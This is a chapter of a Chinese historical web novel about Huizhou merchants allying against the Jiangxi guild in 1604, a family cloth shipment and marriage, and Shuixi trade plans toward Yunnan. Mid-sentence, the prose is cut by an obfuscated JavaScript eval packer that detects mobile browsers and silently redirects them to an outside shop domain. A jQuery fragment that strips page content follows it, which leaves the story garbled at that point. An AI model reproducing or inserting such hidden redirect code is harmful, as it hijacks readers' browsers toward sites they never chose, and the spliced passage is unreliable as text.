万历三十二年,十一月下旬。
瘦西湖畔,新安会馆的朱红大门洞开,门前两盏巨大的羊角宫灯将青石板路照得亮如白昼。空气中弥漫着一缕的腊梅暗香,却会馆内外仆役穿梭,绸缎铺陈的廊道香气萦绕,上等云丝地毯铺满台阶,九路徽商总商的车马整齐分列两侧,排场浩荡,一望便知天下第一商帮的雄厚底气。
何若海与熊文灿并肩立于堂中,身后是苏婉清、杨书瑶等一众商行骨干。他们望着堂内高朋满座、觥筹交错的景象,彼此眼底都带着一丝难以言喻的复杂。
案上摆着几份刚刚清点完毕的药材样品。
“太蒙兄,”何若海压低声音,眉头微蹙,“咱们这次凑的五千斤药材,成色实在有些……勉强。灵芝、天麻、麝香这些极品早就断货,剩下的多是些何首乌、雄黄、川黄连。待会儿九位徽商前辈若是发难,咱们该如何回话?”
熊文灿端起茶盏,轻轻吹去浮沫,神色看似镇定,指尖却在杯沿微微摩挲:“既来之,则安之。辅事大人有令,无论如何,今日必须交割。五千斤药材品级参差,终究理亏,待会儿措辞需谨小慎微。”
正说着,门外忽然传来一阵喧哗,紧接着,厚重的朱漆大门被人从外推开。
刺骨的寒风卷入,却瞬间被一股更为逼人的气势所掩盖。
只见数十名身着锦袍、气度雍容的老者,在一众年轻后生的簇拥下,鱼贯而入。为首一人,须发皆白,手持龙头拐杖,目光如炬,正是盐商祭酒、歙县江老。紧随其后的,是药商新安商号程老、裕和钱庄吴老、汪恒昌典药庄汪老……
徽商九大总商,竟全员到齐!
不仅如此,在他们身后,还跟着重庆“天顺祥”、成都“锦官坊”、常德“陈半城”、荆州“沙市帮”张万顺、襄阳“协盛和”、衡州“彭氏”等西南商号联盟的巨头。
这哪里是来验货?这分明是一场誓师大会!
几位总商亲自开箱查看,高端货确实不足,中端药材数量充足,且包装精良、炮制规范,整体质量过硬。他们彼此交换眼神,微微点头。
“文灿、若海,水西商行交付的药材,老夫已验过,品质上乘,诚意十足。贵州虽是贫瘠之地,却能拿出这等成色的药材,定远侯经营得力,你二人办事也稳妥。”发话的正是新安商号的程老,他须发皆白,面容清癯,是此行九大总商中最年长、也最德高望重的一位,言语间带着长辈般的赞许,没有半分刁难。
何若海心中一惊,这药材成色他自己清楚,怎么到了程老嘴里就成了“上乘”?
何若海连忙躬身一礼,姿态谦和,字字恳切:“程老过奖了。贵州地贫民瘠,百姓困苦,全赖诸位前辈高义,解囊纾困,实乃当世孟尝之风。水西商行能有今日,不敢忘诸位提携。”
这话既把徽商的帮助拔高到了“高义”层面,又点明自身“受惠者”的身份,分寸拿捏得恰到好处。熊文灿也顺势拱手,接过话头,语气带着几分对官场的熟稔与敬意:“程老、吴老,晚辈此行,也代贵州巡抚郭大人、布政使王大人,向诸位前辈问安。贵州军政得以运转,仰仗诸位施以援手。”
堂内气氛愈发融洽。重庆‘天顺祥’的掌柜、荆州‘沙市帮’的张万顺、襄阳‘协盛和’的东家等西南商号代表,纷纷起身,向徽商总商们致以谢意。一时间,恭维声、道谢声此起彼伏,这是商战抱团、共御外敌的热络。
然而,这热络之下,是利益的精准算计。
徽商九大总商,吴、程、汪、江、萧、鲍、朱、李、郑,任何一个单独拎出来,其财力与商路网络都远超水西商行。他们之所以没有在药材上刁难,并非一时心善,而是因为他们看重的,是整个西南的商道命脉。
真正能让他们感到威胁的,是盘踞西南数百年的江右商帮。
“江右商帮,万寿宫遍布天下,盘踞西南数百年,放贷利息常年超过二分,那是吸西南百姓的血!”盐商祭酒歙县江老拍案而起言辞激烈,“他们不仅占着钱庄典当的利,还垄断了药材、瓷器的转销,把持着从湖广到贵州的山货通道,让咱们的商路处处受阻,这叫什么事!”
汪恒昌典庄汪老摆了摆手,缓步走到会馆中堂,指着墙上一幅巨大全国商道舆图,语气沉厚:“天下商道,贵在公道。江右万寿宫遍布各省,钱庄典当放高利贷,借给外省利息超过二分,敲骨吸髓,全然不顾西南民生疾苦!此等行径,实乃奸商所为。”
裕和钱庄吴老接过话头,眼底带着几分悲悯:“贵州连年剿苗,府库空虚,军民度日艰难。江右钱庄趁乱抬息,我们徽商钱庄早已议定新规,西南官署、各地土司借贷,常年只收一分利息,不滚复利,货物亦可抵偿本息,只为通商安民,不趁国难发横财。”
“乱世取薄利是义,趁灾夺财是奸!”江老高声朗喝,转身看向在场所有西南商号掌柜,“江右商帮独占西南药材、典当数百余年,挤压各路同行,今日我们九大徽商邀川、湖、黔、滇商号齐聚,便是立盟共抗江右,打通跨省通商坦途!”
“诸位同仁。”裕和钱庄吴老接过话头,他身材微胖,一双细眼却精光四射,“乱世取薄利以活人,是为义商;乱世取暴利以吃人,是为奸商。我徽商入西南各省通商,定息一成,不滚复利,许以货抵息。这,便是我们的承诺。”
说罢,汪恒昌典药庄汪老上前一步,手中捧着一卷明黄绸缎写就的文书,朗声道:“此乃《徽商与西南商号共同通商告谕》。年息一成,童叟无欺。请诸公签字公证,共抗奸商!”
“好!”
“打倒江右奸商!”
“徽商义薄云天!”
“共同对付江右钱庄这个吸血的毒瘤!”
四周的西南商人们群情激愤,纷纷上前签字画押。天顺祥、锦官坊、陈半城、张万顺一众掌柜,笔墨纷飞,堂内人人面露振奋之色。
苏婉清站在何若海身侧,看着这一幕,眼中满是惊叹,低声道:“相公,徽商年息一分,我们做生意有活路了。他们这是……”
“这是釜底抽薪。”何若海目光灼灼,看着那卷告谕,低声道,“江右商帮靠万寿宫联保金融体系,放高利贷盘剥西南数百年。徽商此举,是以大义为名,行商战之实。他们要的不是我们这点药材的利润,而是要联合我们,彻底打垮江右商帮在西南的金融霸权。这才是天下第一大商帮的手笔。”
“若海,快!咱们也去签字!”熊文灿眼中精光闪烁,他深知,这不仅是打压江右商帮的良机,更是将西南商号联盟彻底绑上徽商战车的关键一役。
何若海点头,牵着苏婉清的手起身,走向那铺着红绸的长案。杨书瑶与熊文灿紧随其后,笔墨落下,一场由徽商牵头、西南各省商号响应的联合压制江右商帮的“商战联盟”,就此结成。
江老望着满纸署名,抚须长笑:“从今往后,西南药材直运扬州、苏杭,徽商盐、丝、海货直达川黔,江右垄断之局,一朝打破!”
千里之外,重庆府码头。
江风凛冽,吹得岸边芦苇瑟瑟作响。
林氏一身簇新的狐裘,站在堆满货物的栈桥上,脸上笑开了花,眼角的皱纹都舒展开了。她伸手拍了拍身旁那一个个巨大的货箱,发出“砰砰”的闷响。
“老爷,老爷!这回可真是沾了若海的光!”林氏的声音尖锐而兴奋,引得周围脚夫纷纷侧目,“整整四千匹布!有袁州夏布,赣州细苎布,吉安白棉布,抚州印花布,还有那死贵死贵的建昌土缎……这一趟跑下来,咱们苏家在泸州能买下整条街!”
苏文轩站在一旁,一身青布棉袍,神色沉稳。他看着满船的货物,眼中虽有喜色,却比林氏多了几分深沉的考量。
“夫人,慎言。”苏文轩压低声音,目光警惕地扫过四周,“这一路有惊无险,全靠打着水西商行的旗号。正常缴税,再送些土特产,关卡上基本不会为难我们。但这毕竟是夹带私货,若是传出去,恐生变故。”
“怕什么?”林氏不以为然地撇撇嘴,“若海是苏家的女婿,用用他的名头怎么了?那是他应该做的!”
这时,张秉文快步走来,拱手行礼:“苏老爷,夫人。我奉命押送药材回川黔,路过遵义,恰好打听到一件大喜事。”
林氏眼睛一亮,仿佛闻到了腥味的猫:“秉文啊,有什么好事?快说!”
张秉文笑道:“今年新科秀才第三名聂承业的妹妹,聂家小姐才十八,正待字闺中,耕读传家,家道殷实,与苏家门当户对!聂员外听闻是若海的内兄,又知苏家产业,当即应允了亲事!”
“真的?”林氏猛地一拍大腿,笑得合不拢嘴,“哎呀,我的儿!这下好了,这下好了!秉文,谢谢你,和儿的终身大事总算有着落了!”
苏清和本来蹲在一旁清点布匹,听见这话猛地蹦起来,满眼激动抓住张秉文胳膊:“真的?快带我去遵义见见聂小姐!我早就盼着成家了!”
苏文轩看着儿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706482|203925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,轻叹一声:“也罢,你随我去一趟遵义,把亲事定下来。夫人,你先将这批货运回泸州,打点好家中产业。”说罢,他目光看向林氏,语重心长,“这孩子,总算有了着落。”
林氏面上一喜,转瞬又面露不满,撇着嘴埋怨:“还是秉文有心,若海那孩子,只顾着攀附安侯爷、陈辅事争名利。家里的事能推就推。这回让他帮忙运点货,他还板着个脸,生怕吃了亏!要不是秉文上心,清和的亲事还不知拖到什么时候呢。”
张秉文连忙打圆场:“夫人误会了。若海贤弟并非不上心,他常与我们念叨清和兄弟的婚事,只是事务缠身,脱不开手。此番聂家之事,便是他托我留意的。”
苏文轩眉头微皱,低声劝道:“夫人,若海是做大事的人,婉清跟着他多风光。若没有他撑着水西这条门路,咱们这批布匹连湖广关卡都过不了,清和的婚事更无从谈起。”
“风光?风光能当饭吃?”林氏翻了个白眼,指着那一船布匹,“这才是实打实的银子!若海我还不知道他?无利不起早!他要有心,和儿的终身大事能拖到现在吗?婉清也是,跟若海一个德性,为人势利,眼里只有权贵,没有娘家!”
苏文轩无奈地叹了口气,不再言语。他知道,夫人的眼界也就在这几匹布、几两银子上,而何若海夫妇,早已在那盘他看不太懂的大棋局里了。
贵阳,贵州宣慰司衙署。
书房内,地龙烧得滚烫。
总兵官陈璘的捷报刚刚送到——他奉令调到乌江护航后,整合水东土司宋万化、乌撒安效良、水西土舍安邦彦的队伍,一船船粮食、铁锅、布匹、糖酒顺利运回贵阳。更让安疆臣在意的是,陈璘以仲家苗、山苗盘踞山林为由,新招募了二千余人,加紧训练。
安疆臣一身绯色锦袍,负手立于舆图前,眉头紧锁。
“陈璘这老匹夫,”安疆臣冷笑一声,指尖重重地点在“乌江”二字上,“借着护航的名义,养肥了自己的镇标营。如今官军日益壮大,我水西土兵依旧原地踏步,长此以往,怕是要变天了。”
水西慕魁辅事陈恩立在一旁,手中折扇轻摇,神色从容:“侯爷莫忧。王嘉猷将军智勇双全,如今正在平越、都匀一线与苗匪周旋,只要商路通畅,粮草源源不断,陈璘翻不起大浪。”
“商路通畅是重中之重,”安疆臣转过身,目光灼灼,“但贵州地贫民瘠,药材产量毕竟有限。青山何氏子弟跑断了腿,收购的药材也仅仅够维持现状。要想搞活经济,养得起十万土兵,光盯着贵州这一亩三分地是不够的。”
陈恩合起折扇,眼中闪过一丝精光:“侯爷所言极是。属下以为,我们的目光,应当放得更远。”
“哦?”安疆臣挑眉。
“云南。”陈恩吐出两个字,走到舆图前,指尖划过贵州西部,落在云南地界,“云南黔国公沐氏,控制的药材储量比贵州多得多。且云南缺铁锅、布匹,这正是我们江南采购物资的销路。我们正好可以用江南的铁锅、布匹,去云南交换药材,还有滇玉、缅玉。”
安疆臣眼中精光一闪,随即又黯淡下去:“去云南,非心腹不能胜任。先生以为,谁可当此任?”
陈恩嘴角勾起一抹意味深长的笑:“奢小姐心思剔透,能言善辩,又通晓彝汉两族规矩,由她出面去与沐家交涉,最是合适。她如今是二爷的妻子,又挂着水西的名号,既有身份,又有余地,即便谈不拢,也不会撕破脸皮。”
安疆臣抚掌而笑:“好!便让她去。至于青山何氏那边,继续让他们跟进,不止盯着贵州本地,要分派人手,深入四川、云南深山,开辟新的货源。贵州官府牢牢控制着粮食、食盐、茶叶、马匹的专营,除了药材,咱们还要大量出售优质木材,推动官府扩大茶马贸易。水西有十万土兵,开销巨大,商行必须全面开花,商贸兴,则水西兴。”
陈恩躬身应道:“侯爷高瞻远瞩,不局限一省一货,跨滇川湖广统筹商贸,长远方能压制江右,牢牢攥住西南商脉。云南之行,我即刻修书通知奢小姐整备货物、车队,择日启程。”
安疆臣重新看向舆图,目光越过贵州,越过云南,仿佛看到了更远的地方。
“曹孟德挟天子以令诸侯,我安疆臣,便要挟西南之商路,以令土司。”
窗外,寒风呼啸,卷起漫天飞雪。
而在这风雪之中,一张横跨川、滇、黔、湘、赣、浙、苏的巨大商贸网,正以一种惊人的速度,悄然铺开。